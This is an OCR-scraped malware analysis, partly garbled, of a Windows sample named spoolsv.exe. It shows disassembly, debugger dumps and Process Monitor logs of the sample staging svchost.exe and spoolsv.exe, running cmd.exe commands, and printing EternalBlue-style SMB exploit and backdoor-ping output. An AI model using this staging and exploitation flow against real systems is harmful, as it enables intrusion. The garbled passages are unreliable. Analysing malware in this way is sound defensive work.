48 4C 24 70 lea rcx,qword ptr ss:[rsp+70]
E8 AB 25 03 00 <s5poolsv.sub_140038E40>
- Tt T O B a Ta B Ta B a Ta ) 1#3 ra2 _ownrd ntr cs<sfrhn+2n01

&

N, EEDEXHRINRE, 1§HRSZ1¢§§IJI7\JT°

0000000140062B60: "%s\\System32\\Enroll1CertXan

0000000140063B80: "%s\\SpeechsTracing\\"

T getfilesize 3KEX C: \\wmdows\\System32\\En rollCertXaml.dll S‘Zﬁ:jc

el I Lu laEuuuLUuE K [\ IR YIEW L 12a3) I Li=J Litwns ot I [_'r_:'_l
Trerer ey .,,
nou rex, rsi ; hFile
nov quord ptr [rsp+68h+FileSize], ri15
call cs:letFileSizekx
nov ebp, dword ptr [rsp+68h+FileSize]
mov ecx, 48h ; uFlags
mov edx, ebp ; uBytes
call cs:iocalflloc
nov [r14] ,&*
test rax, rax
jnz short loc_148887C29
!
Y
e
loc_1406887C29:
mnou [rspr68h+arg_B], rbx
mouv ebx, ebp
nou [rdi], ¥15d
test ebp, ebp
jle short loc_1480087C77
M |
[l 2
]nop word ptr [rax+rax+080008860h)
¥ 3
"IE)
loc_140807C48: ; 1pBuffer
mov rdx, [r14]
lea r9, [rsp+68h+NunberOfBytesRead] ; lpNumberOfBytesRead
nov r8d, ebx 5 NNumberOfBytesToRead
mnov [rsp+68h+Number0fBytesRead], r15d
mov rcx, rsi ; hFile
mov quord ptr [rspe6BheduCreationdisposition], r15 ; lpOverlapped
call cs:ReadFile &—-
mov [rsp+68h+NumberDfBytesRead]
test eax, eax
jz short loc_140087C77

EERRN—

R FmErIdiE.

Bt C\Windows\SpeechsTracing\Crypt f#/EH NSA TE&
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call  read_EnrollCertXanl _dil_father
test al, al
iz loc_140067 865

L 4

r8d, [rsp+3on]

rbx, [rspehien]

rix, rbx

rex, [rbpeosFomn+FileNanc] ; BPOOOOOBMICIVABE  C:i\Windows\SpeechsTracing\Crypt
createAndoruwrite ; release Ci\Windous\SpeechsTracing\Crypt

al, al

loc 150067865

rcx, rox ; hien

cS:Localfres

rox, [rspsCurreatDirectory)

rox, [rop+UGFom+FileNane ]

sub_140007990 ; 837 C:\Uindows\SpeechsTracing\Crypt F| C:\Windows\SpeechsTracing\Hicrosofty
al, al

loc_ 149886083

FEGeEeis, MR C:\Windows\SpeechsTracing\Crypt., BEEHHEFRTER, KIREX
14 svchos_t.xml 5 spoolsv.xml, MRS EIEARNTE,

call nenset

lea r8, [rap+lurrentbirectory]

lea rdx, asSuchost _xml ; BOPABOOBRICILGAN C:\Vindows\SpeechsTracing\Micresoft\\svchast.xnk
lea rex, [rbp+9GFoRh+Dest] ; Dest

call sprintf

lea r8, [rap+Lurrentbirectory]

lea rdx, asSpoolsv_xml ; "Zs\\spoalsv.xnl"

1ea rex, [rbprO6F9Bhrvar 96E09] ; Dest

call sprintf 3 C:\Windous\SpeechsTracing\Hicrosoft\\spoolsu.xml

lea 8, [rsp+CurrentDirectory]

lea rax, atSSuchost_exe$ ; "/c ¥s\\suchost.exe > staged.txt”

lea rcx, [rbpt96Fo9en+Connandiine] ; Dest

call sprintf ; 000BBRRGA1CIY9AED /e C:\Vindows\SpeechsTracing\Microseft\\svchost.exe > stagel.txt
les r8, [rsp+LurrentDirectory]

lea rdx, aCSSpoolsv_exe$ ; "/t ¥s\\sponlsu.exe > stage?. txt”

lea rex, [rbpro6F9ohvvar 96250] ; Dest

call sprintf ; 00RDRRRYAICI9N08 /¢ C:\Windows\SpeechsTracing\Microsoft\\spoolsv.exe > stage2.txt
RO¥ edx, edx ; Ual

nov r8d, 184h ; Size

lea rex, [rbprUGF9Bh+var 96368] ; Dst

call nenset

xor edx, edx ; val

nov r8d, 184h ; Size

lea rex, [rbp+e6F9Oh+var 26148] ; bst

call nenset

lea r8, [rspeCurrentDivectory]

lea rdx, aSStage1_txt ; "Rs\\staget. bxt"™

lea rox, [rbp+96FoBh+var 96368] ; Pest

call sprintf ; 000PRROOUICI9BFO C:\Windows\SpeechsTracing\Microsoft\\stagel.txt
lea r8, [rspeCurréntDirectory]

lea rdx, aSStage2_txt ; "Zo\\stoge?_ txt”

lea rox, [rbpeY6FoBhrvar 96188] ; Dest

call sprintf ; 00DDRROOVICIFEIR C:i\Windows\SpeechsTracing\Microsoft\\stage2.txt
xor edx, edx s Ual

nov rBd, 184h ; Size

lea rex, [rbps96F9Bh+var 96588] ; bst

call nepset

now edx, 184h ; uSize

lea rex, [rbhp+96F9Bhevar 96588] ; lpBuffer

EEMEEK C\Windows\SpeechsTracing\Crypt, &
C:\Windows\SpeechsTracing\Crypt Z7ERIFERL x64.d11 1 x86.dll,

BEMER—
BIT createprocess BlJ## cmd.exe /c %s/svchost.exe > stagel.txt, GFENEHHE

EREIMAE. (FAEETICR.
IZNERERER
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VI EWN @00~V EWON - @D

uS5 = az2;

us = CreateFileA{al, 0x80000000, 1u, 0i64, 4u, Ox80u, Oidh);
u7 = ud;

if ( s )

return 0ié4;

ug = SetFilePointer(us, 0, 0iéy, 8);
U9 = vu7;
if ¢ v8 =="+1

{
| (vi6 = ReadFile{v7, vu5, 0x10808800u, lpNumberOfBytesRead, B0ié4), v9 = v7, tuld)
| 2+*lpNumberOfBytesRead )

CloseHandle(v?9);
return 0i64;

he
CloseHandle(v7?);

5 Process Monitor — Sysinternals: www. sysinternals. com

File Edit Ewent Filter Tools Options Help

ZH | ABE | vAS | B A5 #BdAxM

_PID| Operation | Path

3432 B CreateFile C:\Windows'\SpeechsTracing'Crypt

1028 &8 Thread Exit

3432 & CreateFile C:\Windows'\SpeechsTracing'Crrpt

3432 CreateFile C:\Windows\SpeechsTracing \Crypt

3432 B CreateFile C:'\Windows'SpeechsTracing'Microsoft'svchost. xml
1028 &% Thread Create

3492 Bk ReadFile C:\Windows'SpeechsTracing'Microsoft'svchost. zml
3432 B CloseFile C:\Windows'\SpeechsTracing'\Microsoft'svchost. xml
1028 &% Thread Exit

3432 CresteFile C:\Windows'SpeechsTracing'¥icrosoft'\spoolsv. xml
3492 B\ ReadFile C:\Windows'SpeechsTracing\¥icrosoft'spoclsv. xal
3492 B\ CloseFile C:\Windows'\SpeechsTracing'¥icroscft'\spoclsv. xml
3432 5 CreateFile C W;nd.o‘lrs .SpeechsTracing'Microsoft \x86. dl1

C:\Windows'\SpeechsTracin 1.rosoft xSG dix
B\ CreateFile C:\Windows'\SpeechsTracing \Microsoft\x&4. dil
2 B ReadFile C:\Windows'SpeechsTracing'Microscft'\x64. dil
B CloseFile C:\Windows'SpeechsTracing'¥icrosoft'\x€4. dil

- \. .

c4 nov | 3ub_140007660 -
58 08 moy faclisd
L8 - RAX  00000000002GSEES
push i rex "
€ 40 Sub RCX  00000000002696A0 \AWindows\\ SpeechsTr acing\\M1 crosof T\ \\syEhost, xml
40 £8 00 00 00| mOV ROX  0000000080000000
<9 X0 REP  000000000026SFCO
s 5 oV ase 000268E70
30 €0 80 00 00 00 Bay dword ptr ds:[rax-z0],50 RSI  0000000000282F20
F rsi, rdx 2 RDI  0000000000019000
20 00 00 00 00 ~v.w duorg prr ds:[rax+20],0
00 00 80 T
D8 04 00 00 00| moV dword : 28},4 R .
41 01 122 £ - &R W %
0 S G T R LS TR | R10  0000000000269500 C:\\Windows\\systen32
08 BOV DX, 73X R11  0000000000269F20
ss co Test rax,rax R12  0000000000000000
50 <spoolsv. 10c_1300076F1> R13
< Xor r9d,rag R14  0000000000000000
3 ca xor r&d.rad RIS 0000000000000000
2 xor edx,edx
8 BOV_rox,rax :\\Windows\\SpeechsTracing’ | RI1p  0UOEDGG1400076AF 550015V, 0000000140007 643
£9 04 00 BRI quord prr ds:[<&SerFilePointerstubx]
s rex:'C: \\windows\ \SpeechsTracing’ | ReLAGS  0000D00000000246
piesg ZF 1 PF1 AF O

15V, 10¢_1400076E8>
4 a r9,qword ptr ss:lr

24 20 00 00! mv aword ptr ss:

7 mov red,ed{

A G4 fasteall)

5 @OV rox,rai Tro
£9 04 00 BNl qword prr ds:([<&ReadFileluplementations] 2: rdx_0000000082000000
E OV FCX, b Fext e\ \windows\\SpeechsTracing | 3 £§ 0000000000000001
’ e\ \windows\\SpeechsTracing 2
Test cax,eax 4 19 0000D00000000000
‘ Spo:) Sv. 10C_140007703> $: [rsp+20] 0000000000000004
atr AR £ oA dncassnd TATma] smant At ans] Iar 18ann7EER
»

76
000000007 6F71010 | 4F 01 00
76F7

7 0|03 FE
0D000000076F71030, 0O 48
000000007 6F71040 | 2C FO
00000007 6F71050| 62 07
000000007 6F71060| 00 ES
000000007 6F71070| BE 68
000000007 6F71080 | 41 88
DOOOOO0OTEF71090 48 89

000000007
0000000076F71080 | 88 D3

2| kernel32, GetSystemDirectorya+ss § 277

000000007 606943 | +
0000000000268EAD

0000000000268E00 | &"C: \\Windows\\systems2"
7 | 0000000000000004
0000000000000080
0000000000000009 |

F71000 88 B3 90

0000000000000000
[0000000140006514 . $poolsv. 0000000140006824 B sponlsv, su
0000000000000000

0000000000000000
0000000000269903

\\windows'\system32”

76F71040 33 CO Sia Ye TRt 3u::

{0F B7 47 €6|.00.0€.D. ... -
000000007 6F710C0 | OF B6 OC 83/F9 29,10, - NT e
0000000076F71000 C4 66 SC‘ 0000000000000000
0000000076F7400 44 03 € g4
000000007 6F710F0 | CA 6 2|01 |
000000007 6F71100( 50 00 25 85 fidaddadiadadiid]
0000000076F71110| 63 0D O: EF |48 B onoonuon -
000000007 6F 71120 85 FF {00 °Y° »f
113alnn_na o0 8s
L T

$%& CreateProcessA BanHigE
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--

g Lry | AR | LJES | LUK | TR | TR | LV WA | TSR | ORI | WIS | SORIWS | 2SI | CWIE | S/ ScovmaRies | We PR | € |
T8 76 Fa FF F W - ”"M
44 Sivinh
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»

b SSE 0000000001C18EC0
RSI 0000000000000000
RDI  000000O001C1EF10

R 0D00000DVIC18F30 C:\\windows\\SpeechsTracing\\Microsofty\"
RS 000D000000ICIEECO
R10  0000000000000000
Pt R11  0000000000000207 L'e
4 PR et R12 0000000002180040
veraazapracass R12  0000000000000000
S R14  0000GO00O0000000
- il R15  0000000002290040
5 £ 1s E1 €3 64 00 RIP  0000000140006D53 SPOOT5V. 00000001 40006DS!

D oo

RFLAGS 0000000000000202
. 48 SD 8D 60 4F 06 00

0 PFO AF O
Df) SF 0 DF O
CF O _TJF O _IF 1

e e e B B G4 fastearn) 2 | =]
s €O I: rcx 0O000000DICIS7BO ~Ct\\Wir \System3z\\cmd. exe’
OF 84 1F 02 00 00 2: rdx OD0000OGOICIFAED "/C C \\mnﬂwn\speechs?ru1m\\)hcrasoft\\\\svchost exe > stagel.txt"”
. 48 5D 85 60 4F 06 00| lea 3: ré 0000000001C1SF30 "C:) dows \\SpeechsTracing
ef5il. 45 83 C8 FF Ll 4: r9 0000000001C1SFCO
L o Jls: [rsp+20] 0000000001C18EFS

SpO0TSv. Createprocesss

Text:0000000140006055 5po0Tsy. exe: $6055 #6155 <5ub_14000678015A5>

wmE | were | wars | wese wnrs | @sm | cneuE | 2 g |

0000000000000000
21 NANANNANARAANANA

EEHC \\wmdows\\SpeechsTraang\\M|crosoft\\svchost exe BFRNERIE— TN

£,
=

NEFE) HEEE) WIN0] EH0 RERN0

[*] Comnecting to tarszet for exploitation.
[+] Cornection established for exploitation.
[*] Pinging backdoor...
[+] Backdoor not installed, game on.
[#] Tarzet 0% selected walid for 0% indicated by SHB reply
[*] CORE raw buffer dump (43 bytes):
0x00000000 57 69 6e 64 6Ff T7 T3 20 37 20 50 72 6f 66 65 73 Windows T Profes
0x00000010 73 69 6f 6e 61 6¢ 20 37 36 30 31 20 53 65 72 76 sional 760l Serv
Qx00000020 &9 63 65 20 B0 61 63 6k 20 31 00 ice Pack 1.
[*+] Building exploit buffer
[*] Sending all but last frasment of exploit packet

[*+] Sending SMB Echo requesﬂ
[*] Good reply from SMB Echo request
[*] Startins non—pagzed pool grooming

[+] Sending SMBw2Z buffers

............. DONE.

[+] Sending large SMBwl buffer. . DONE.

[+] Sending final SMBw2 buffers...... DONE.

[+] Closing SMBvl comnection creating free hole adjacent to SNBvZ buffer.
[*+] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!

DONE,
[+] Receiving response from exploit packet
[-] Ho response received from exploit packet. Not sood.
[+] CORE terminated with status code 0xdf5d40013

Svchost.exe EAESE.
WEMER—
RIERZSHIKEERID, FIKTBREEHAY x86/x64 Z8¥y, HERRINNIAERBEE _—MERH

payload x86/x64.dIl X3 BfR# TRER. HFANEASHT payload iXEf5, EHHIER, i5X
ERENE,
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)00000140063D08 “[+] Ping returned 86 (32-
ptr [0000000140063008 “T+] Ping returned Target arcl’ntectur‘e' X86 (32 bﬂ:)“

1 0000000140006DFE spoolsv.exe: $6DFE #61FE <sub_1400067BO+64E>

[<aPThgREtUrnedTa>]

o PRE «<spoolsv. 10C_140006DB0O>

B 53 cmp rbx,53

o 02 00 00 §8 <spoolsy.loc_140006FC3>

. 00 00 00 mov rad,1i3

. mov r8d,ebx

3 iD CF 05 00|lea rdx ;mg_z;d_p_;:, ds: [«aOutputparametes]
3 60 4F 06 00|1lea rcx, ss:[rbp+64F60]
. 00 00 i <spoolsv.sub_140007AF0>

3 cmp eax,FFFEFEFF

o 01 00 00 B <spoo1sv Toc_140006FC3>

3 3D cmp rbx,3D

=4 0i 00 00 §B <spon1s¢ Toc_140006FC3>

. xor sil,sil

. 00 00 00 mov rad,33

. il

[ . 03 CF 05 00 Jea rdx,

3 60 4F 06 00| lea rcx, “ss: [rbp+64F60]
. 00 00 ¢ <Spoolsv.sub_140007AF0>

3 cmp eax,FFFFFFFF

& B8 <spoolsv.loc_140006E72>

. mov sil,1

5 xor edx,edx

£

REP
RSP
RSI
RDI

RE
R9
R10
R11
R12

0000000DFFFEFFFF
000000000000007D
00000000002EDF20
0000000140063D08
0000000000288FCO
0000000000288ECO
0000000000000000
0000000000288F10

000000000000007D
0000000000000033
0000000000000013
000000000000007D
0000000001B50040

0

i

] Connecting to target f
Ping returned Target a

001400630-3
000000007D
0000000033

¢|0000000000288EF8

w1 dnre | Wers

5B 2B 5D 20
64 20 54 61
63 74 75 72

10140063008
J0140063D18
J0140063D28
J0140063D38
J0140063D48
J0140063D58
J0140063D68
J0140063D78
J0140063D88
J0140063D38
J0140063DAS

2, sub 14000C8CO0 iz
];t]lAt:.

75
68
33
50
72
65

50 69 6E 67
72 67 65 74
65 3A 20 78
0
20
20
36
5B
73
oD
20

74
63
28
46
72
00
oD

6E
74
2D
46
73
00
oo

82 74 29 00
69 6C 65 64
61 67 65 32
5B 56 439 43
69 6E 76 61

EEEAN P, RS

20 00 00 00
20 74 6F 20
20 25 64 2E
54 4F 52 5D
6C 69 64 20

&, FaElRRs

0000600000

+] Ping returne
d Target archite
cture: x86 (32-b
AEYisimase [+] Ping
returned Target
architecture: x
64 (64-bit
[INF] Failed to
start stagez %d.
[VICTOR]
.invalid

HSauan

0000000000288EDS
D000000C0O0288EED
00000000002 88EES
0000000000288EFD
D000000000288EFS
00000000002
D0000C00002
0000000000288F10
0000000000288F18
0000000000288F20

I=ll coco000000288F28

NANNNNANNNNTRRE2N

AR — AR

—"'/ 1
gﬁl}\ (x64 fastcell}“'-_f

[*] Connecting to target
[+] Ping returned Target ar

0000000000000000
0000000000000000
0000000000288EF8
0000000000000000
0000000000000000
0000000000028400
0000000000000000
FFFFFFFFFFFFFFFE
0000000000000000
0000000000000000
0000000000000000
000000000000000F
AFRARFARAS TR 22432

HITIE.

0000000000288FCO

ANERA I F 1

ARFFREY 445 im O, FiSBHEMNAY P it s OS5 A\Z EternalBlue ILHEFfEFE svchost.exe

B E 4 svchost.xml |,

BRZXL 14000C740 i#H1Ti%ERE. Ip 2M sub_1400B550 L2z tHYE R

v |tae|talloSePh# Al

28

EMIle uasl

[iea rcx quord
saz PEEE <spooisv.s

!intz

quor

ptr [0000000140053030 <5po0isv.&CreateThr ea

. TeXT: 000000014000C9AC SPOOTSY. exe: SCIAC #EDAC

mov r9,
4 50 05 98 D FF Fr|Tea re.aword etr
33 02 xor edx, edx

33 ¢9 xor _ecx,ecx

FF 15 7€ €6 04 00

89 1 00 00 00 mov_ecx, 1€

FF 15 7E 67 04 00  |EEWE quord prr
%

45 33 co

82 03

48 8D 4C 24 238

£8 33 A7 FF FF

£9 40 FF FF FF

Dtr

ptr

{rsp+38]

15V, SUb_13000C 440>

9
48 8D 4C 24 38 1&! V‘Li qmrd
€8 F4 FA FF FF
88 08
85 CO fest eax, eax
v 74 60

<Sub_14000C7405]

e Wruuﬂreml =

[<aSleeps]

_14000C9125

rc

|re

Tor

rc

al

smal ouél-amnlamul' l"'m' | eigs | ogtd | S3m | w8 | amemnEd | & 96 | R |

XiSTru_14007864 o] - gmepy
X:stru_14007864 [ RAX  0000000000000017
REX  0000000000000017
RCX  0000000140078648 <5p00 15V, STru_140078648>
| Rox  9000000000200D01
REP  0000000000000000
e RS2 00000000020SFEFO
RSI  0000000000000000
s RDI  0000000000000000
x:stru_14007864 - | o 0000000000000600
2 K9  §000000000900033 s
:s 4007864
RIS R10  9000000000300070
R11  00000D0002C5FF28
15Tru_ 14007864 || R12  0000000C00000000
R13  0000000000000000
:5tru_14007864 || R13  0000000000000000
R15  0000000000000000
RIP  000000014000C94C 5PO0TSV. 00000V014000C 94C
RFLAGS  0000000000000200
ZF O PF O AF O
OF 0 SF O DF O
CFo TFO IF1

o Laster
€. 14000C 982

&5 002
€5 002

X1STrU_14007864

ror

& FS 0053
& RS 0028

€5 0033 33 0028

00000000 (ERRCR._SUCCESS)
Laststatus COO0000D (STATUS_INVALID.PARAMETER)

on 140000302

nel32.CreateThread>

wng | wmzlwmsl vnm e | s | Ban | u-mml 2 taogk |

F

000000000205 FF18| 02
000000000206 FF28 |31
000000000205FF35| 00 0O

W

FE Ff FF FF FF FF FF FF
1

000000000205 FFES |

3

285

THERL b4 £aztcall)

FFFFFFFFFFFFFFFE
2E3836312£322931
000000332E373531
000000000000000F
0000SD0AD281EBF 4
0000000000000000
‘000000007 60665 20
000000000000000

o

| o )

kernel32.0000000076066520 & 272
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. . v 3 ) s s STz | i e U s | S S S | £ £33 433 | £aEOS
| 43 CF§ ‘W FFFFI F |suspended | QO0000D0 | 00:00:00. 0000000 00: 00:00. 0000000 | 16126221, - 8
74 B8FC 00000001 4000C740 000007 FFFFF16000 000000007 6FC135A | O Suspended 00000000 00: 003 00. 0000000 | O 00.0000000| 16:26:22.8169910| 3F2721
72 BEO ooooooauooo: 40 000007FFFFF1.AOOO 000000007 6FCL35A | O H 00000000 00: 00: 00. 0000000 | 16:26:22.7559875 | 39E2A8
42 B34 00C7 40 | 000 6FC135A (O 00:00: 00. 0000000 | O 46:26:21.8519358| 474005
39 1100 000000016000(760\ 000007““‘5(000 000000007 6FC135A | O 00: 00: 00. 0000000 | 16:26:21.7619306| 43179C
1 130C 6FC135A |0 00:00: 00. 0000000 16:26:15.9595988 | 55Ca5F
25 1240 000000014000Cr40 DOOOO?FFFFF 8000 | 0000000076FC135A | O 00:00:00. 1 46:26:21.3399065 | 4FO7AC
34 CBC DO00O! 6FC135A |0 16:26:21,6119221| 40BEB4
3 <oc uooo:uo 00007 FFFFFEC000 | 000000007 6FC1354 | O 1008 16:26:21.5199168 | S1IDEE7
23 13C0 ,000900016000( 40 7FFFFF7C000 MOOOOOO7GFC135A;D 00:00:00. 16:26:2 799031
14 240 000CT 6FC135A | O H 00:00:00.
1s F8C aooﬁooouoooc 40 mv07FFFFF&C000 000000007 6FC135A | O | Suspended 00000000 00: 00
35 868 4000C740 090007 76FC135A | O | Suspended 00000000 00:00:00.
19 84 4000C7 40 00000 6FC135A |0 Suspended 000000 00:00:00. €:26:21.
16 1214 AMNTW 00D00! 6FC135A (O Suspended 00000000 00:00:00. 16:26:21.0698911| 63EF17
17 3AC 6FC135A | 0 Suspended 00000000 00:00:00. 16:26:21.0998928| 550490
18 €50 OODOOOOJ.WOOCNO MOO?FFFFFBGOOO 0000000076FC135A | O Suspended 00000 00:00:00. 1‘ 2‘ 21 1293945 S5C394
59 E70 EFC135A (O | Suspended 00000000 00:00:00. . 651| 3BF893
73 c64 WOOO?FFFFFIBOOO 000000007 6FC135A | O 1§ 00:00:00. 22 7869!93 2FA964
45 CEO ioooc w 00000 €FC135A |0 00:00:00. 6:26:21.9419409( 4472F0
21 csas 040000014000C7 40 000007 FFFFFS0000 | 000000007 6FC1354A O 00:00:00. 16 25 21 2198996 | 59994C
20 40C 00000001400()(:40 7FFFFF82000 | 0000000076FC135A | O 00:00:00. +1898979| 538501
22 698 000000014000C7 40 7FFFFF7E000 | 000000007 6FC135A O 00:00:00. 16 Z( 21 2499013 522C51
€4 E0O 09000001 4000C740 000007 FFFFF2A000 000000007 E6FC135A | O 00:00:00. 16:26:22.5139737 | 43FEDO
24 BE4 04 14000C7 40 000DO7FFFFF7A000 | 000000007 6FC135A | O 00:00:00. 16:26:21.3099048 | 534176
26 1288 0900 )14000C7 40 O00DO7FEFFE7 6000 000000007 6FC135A | O Suspended 00000000 00: 00: 00. 16:26:21. 36”082 779C8C
27 CA 090000014000C7 40 000307FFFFF74000‘0000000076F(X35A |0 Suspended 00000000 00:00:00. 16:26:21.39990 4FD820
28 EOC 090000014000C740 | 000DO7FFFFF72000 | 000000007 6FC135A | O Suspended 00000000 00:00:00. 16:26:21. 4299116 4F2680
29 A24 0¢ 14000C740 000DO7FFFFF70000 ! 000000007 6FC135A | O Suspended 00:00:00. 16:26:21.4599134) 4AS9A3
30 30C o‘mooouooocuo 000DO7FFFFFGEOOD | 000000007 6FC135A 9 Suspended 00000000 00:00:00. 16:126:21.4899151 | 6528ED
32 A30 BA 76FC135A | O Suspended 00000000 00:00:00. 16 26 21. 5499185 4EA99E
33 1264 1000(740 000DO! 6FC1. 0 | Suspended 00000000 00:00:00. 6:21.5809. 5
46 818 040000014000C 740 000DO7FFFFF4E000 | 000000007 6FCA35A |0 Suspended 00000000 00:00:00.
35 D9C 0000000:4000(7‘0 Q00DO7FFFFF 64000 | 000000007 6FC135A ;0 Suspended 00000000 00: 00: 00. 0000000 | 0O
36 448 00(7!0 6FC135A |0 | Suspended 00000000 00: 00: 00. 0000000
37 684 00000 6FC135A (O | Suspended 00000000 00:00: 00. 0000000
62 13EC DQOOOOO:4000CT4O 000007 FFFFF2E000; 0000000076FC135A | O | Suspended 00: 00: 00. 0000000 5
40 126C omumno 00C007FFEFFSADO0 | 000000007 6FC135A | O Suspended 00: 00: 00. 0000000 16:26:21.7919324 | 556£06
52 EES o 0 114000C7 40 DMOO?FFFFF‘ZOOO 0000000076FC1354 | O Suspended 00000000 00: 00: 00. 0000000 | 16:26:22,1519529| 474898
43 EB4 4000C7 4 10071 6FC135A | O Suspended 00000 00:00: 00. 0000000 16:26:21.8819375 | C85F5
75 1284 00D000014000C7 40 007 FEFFF14000 | 000000007 6FC135A | O Suspended 00000000 00: 00: 00. 0000000 | O 16:26
55 1200 000000014000C7 40 00D007FFFFF3C000 | 000000007 6FC135A |0 Suspended 00000000 00: 00: 00. 0000000
53 D08 014000C7 40 00POO7FFFFF 40000 | 0000000076FC135A | O Suspended 003 00: 00. 0000000
e 1320 16000(7‘0 000007FF$FF52000 0000000076FC135A | O | Suspended 00: 00: 00. 0000000
75 1300 6FC135A |0 Suspended 00000000 00: 00: 00. 0000000 |
47 FAC 000000014000(440 0?000« FFFFF4C000 | 0000000076FC135A | O Suspended 00000000 00: 00: 00. 0000000 8
58 Ad40 6FC135A | O | Suspended 00000000 00: 00: 00. 0000000 | 16:26:22.3339634| 429784
48 1314 135A |0 Suspended 00000000 00: 00: 00. 0000000 16:26:22.0319461 | 50A0FA
56 E68 mo doeooﬂrrifsiooo 0000000076FC135A | O Suspended 00000000 00:00: 00. 0000000 | 16:26:22.2739599| 3F322F
43 DB wooc~¢o vw 6FC135A | O Suspended 00000000 00: 00: 00. 0000000 | 16:26:22.0619478| 488099
50 D4 6FC135A |0 { 00: 00: 00. 0000000 16:26:22.0919495 | 7F2ESD
51 1004 0000(0014000(740f000007FFFF744000.0000DOOD7GFC135A o Suspended 00000000 00: 00: 00. 0000000 16:26:22.1219512 | 417487
54 7‘0) 00000 6FC135A | O Suspended 00000000 00:00: 00. 0000000 16:26: 22 2139565 | 44805F
7 030 4000C740 00000 6FC135A |0 Suspended 00: 09: 00. 0000000 16:26:22.3039616| 3TFCDA
60 1308 000000014000C740 000007 FFFFF32000; 000000007 6FC135A | O Suspended 00000000 00: 00: 00. 0000000 | “ 26 22 3939668 | 3F219C
b1 Fevs R 4 JeEeiealn ! rehanad L onaeanta | ha: aa:oa’ fnaatan 132 nacat | Brare
‘ X i~
ws [ 5N

> L()(:'( ;ks,A\zl %Fi I=h— ‘1()‘/\é3%f:: ZEE k S ?§§

A [=] t
57 ESINEE, &S 40 NMEFEH & socket 1E,

mov rax, CS:__Security_cookie

Xor rax, rsp

nov [rsp+68h+var_18], rax

lea rcx, stru_148878648 ; lpCriticalSection

call cs:InitializeCriticalSection

lea rcx, stru_1480785F0 ; 1pCriticalSection

call cs:InitializeCriticalSection

lea rcx, stru_148878618 ; lpCriticalSection

call cs:InitializeCriticalSection

Xor edi, edi

mov cs:dword_140078648, edi

i —
HT —|
loc_ 912:

cmp cs:dword_ 140878648, 48h :::>
j1 ShoFt ToC 14000C928 |

ESixrefs to loc_14000C912

local_ne t_r elat lo' lock dec cs:dwor dl 40078640
sub_14000C8C0+4C mov cs:dword 140078640, edi
sub_14000C8C0:1oc_1*"* emp cs:dword_140078640, 40h

751 [{550, ok | cancel | Search welp |

Line 1 of 4
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3. sub_14000B550 72

JJ JEHH%S‘* HRZWL%%DHMEXW % & sub_ 14000C8C0O é;’%fzo

/ \;Ijilr'{—l l:llu\X

PR A . e g e s e . - .
. 0000000140005590 aA oo 01 00 00 mov edx 100 = __j smeu
e | 000OD0O0O014000B595 48 8D 8C 24 80 00 00|lea rcx,q\sord,pgr %S [rsgﬂio] ]‘ i
|| 00000001400085 %0 FF 15 8D 7F 04 00 gaml qwor r ds:[<&gethosthames
o || cooooo014000B5A3 48 8D 8C 24 80 00 00|lea rcclx,qm rd ptr ss:%rs +8 BAX  0000000001C160F8 . ﬂ
¢ | 00000001400085A8 FF 15 27 7F 04 00 gword ‘prr_ds: [<&gethostb)name>]/ i REX  00000000000000CO A
o | co0000014000B581 4C 8B F8 mov ri5,rax N RCX  0000000001C16108
o | COO000014D00BSES 48 85 CO test rax,rax 5 RDX  0000000000000000
-e | 0000000140008587| ~ 75 OD §ii8 «spoolsv.10C_1400085CE> REBP  0000000000000000
o | 0000000140008589 89 20 BF 02 00 moy_ecx,2BF20 RSP  0DODDDD0D215FDBO
e | 000000014000B5BE FF 15 74 7B 04 00 qword ptr ds:[<&SleepStubx>] RSI 000000000000009D
-¢ | 000000014000B5C4 ~ EB CA <spoolsv.1oc_14000B590> RDI 00000000000000AS8 B
e ooooooo14ooo§§§§ :g gg Eg - moy rbp,ri2 Sh——
* | 00000001 /| ; 40 18 ‘mov Lax,qword ptr S LEax s
¢ || 000000014000B5CD 48 8B 08 mov rcx,qword ptr ds: [Laxi :g gggggggggg;ggggg
e | 000000014000B5D0 OF B6 19 movzx ebx byte ptr Js irex] R10 0000000000000000
|| 000000014000B5D3 OF B6 79 01 MOVZX edi,byte ptr ds: [rcx+1] " 1
o | 00000001400085D7 OF B6 71 02 movzx esi,byte ptr d '[rcx+2] R1l  00DDO000021SEESO &"WIN-DIQROAPZ
° 0140D00B5DE 44 OF B6 49 03 movzx rad,byte ptr d R12 ~ 0000000000000000
‘e 83 FB 7F cmp ebx, 7F 7' } R13 0000000000000000
-e [ 000000014000B5E3| v OF 84 FC 00 00 00 §8 <spoolisv.loc_t Ri4  0000000000000000
o | 00000001400085E3 4D 8B F4 mov ri4,ri2 R15  0000000001C160D0 &"WIN-DIQROAPS
o | 000000014000B5EC OF 1F 40 00 nop g.‘ord ptr ds: [_az , 83X
o | 00000001 4000B5F0 C7 44 24 28 17 00 00|mov dword ptr ss:[rsp+28),17 = =
o || 0o0c0001400085F 8 C6 44 24 20 01 mov byte ptr ss: [rsp+20]] [BH) B4 fasteall) s T ik
o || 00000001 500085FD 44 8B C6 mov rsd,esi ~ox 000000000ICIEI08
e | 000000014000B600 8B D7 mov edx,edi :rdk"oooooodobobooooo'
|| 00000001 40008602 88 CB mov_ecx, ebx s S SONOODOOOIIEEHoR
o E8 07 OB 00 00 E& <spoolsv.sub_14000C110> od %+ rs 00000000000000S0
g L4 5: [rsp+28] 0000000000000000
DODDICI6OFS
| [rax+18]=[0000000001C16110 "DIQRIAP2TAS"]=3250413952514944
000014000B5C9 spoolsv.exe: $B5C9 #A9CS
- == = —— = PR N S| (0000000 T
| B HTE 2 I S ATE 3 I g FI7F 4 I § FI7F S I % 1 I b=l FEPEE I > (00000000215 FDES | 0000000000000000
5 T = Il p20o00000215FDCC | 0000000000000000
SCIET08 €0 A5 S0 80]57 33 4€ 2033 39 51 53]35 41 50 33 A . WIN-DTEROAFE| | Loi00000 S 7oct | 2900000000000000
1C16118(54 41 38 OC|AB AB AB AB|AB AB AB AB|AB AB AB AB|TA8.<«g&&&&&ecas ODOHNGOG05 TEFONS | DoD0000000DI00RT
1C16128|AB AB AB AB|EE FE EE FE|00 00 00 00|00 00 00 00 BOG0Ob a0 IAFRE O  BEFECEEEEEEELEEE
1C16138| 0D 00 00 00|00 0D 00 OO|EE FE EE FE|EE FE EE FE el e M AU R E AR IR E AR AT
JClea4s| 27 77 3¢ 0F|20 F8 00 00|sf-66-C10L.00.00 0000 000000000215FOFC | 0000000000000000
B SR 000000000215FDF & | 0000000000000000
